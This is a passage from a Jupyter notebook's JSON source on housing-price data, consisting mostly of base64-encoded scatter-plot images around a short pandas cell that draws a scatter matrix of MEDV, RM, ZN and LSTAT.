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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "from pandas.plotting import scatter_matrix\n", + "\n", + "attributes = [\"MEDV\", \"RM\", \"ZN\", \"LSTAT\"]\n", + "scatter_matrix(housing[attributes], figsize=(12, 8))" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 21, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAX8AAAEGCAYAAACNaZVuAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMSwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/d3fzzAAAACXBIWXMAAAsTAAALEwEAmpwYAABDYElEQVR4nO29e5hcZZXv/1l7162rr+lOd0hCQ4CEyNXIRMaRERyRcbj8gMN4P+OBOTqZ8fgTHJmjcoYDDwzn0TMjPqNz4Rl+4oA6iIwymAODinhEYUAFjGASw53EJHR3upO+Vddl7/3+/ti1K9XdVV3V3XXrqvV5njzVddl7v3tXau31rrXe7xJjDIqiKEprYdV7AIqiKErtUeOvKIrSgqjxVxRFaUHU+CuKorQgavwVRVFakFC9B1AOq1evNhs2bKj3MBRFUVYUTz/99CFjTH+h91aE8d+wYQNPPfVUvYehKIqyohCR14q9p2EfRVGUFkSNv6IoSguixl9RFKUFUeOvKIrSgqjxVxRFaUGqavxF5FUReU5EdojIU9nXekXkYRF5Ifu4qppjUJbPeCLDC0OTjCcy9R5Kxaj0OdXyGunYj+5n32ii4P72jSb4wa7X2TeaqNjxC21byWtX699ZLUo9f88Ycyjv+WeAR4wxnxORz2Sff7oG41CWwKN7hrn5gV255zdccirnbR6o44iWT6XPqZbXSMd+dD/TKYfR6TSrO6LEI3Zuf3/3yPN86Ycv5j5/9Ts28vHzT17W8QttC1Ts2tXjd1aPsM9lwF3Zv+8CLq/DGJQyGE9kuPmBXdiWEI+EsC3h5gd2regZQKXPqZbXSMd+dD8AY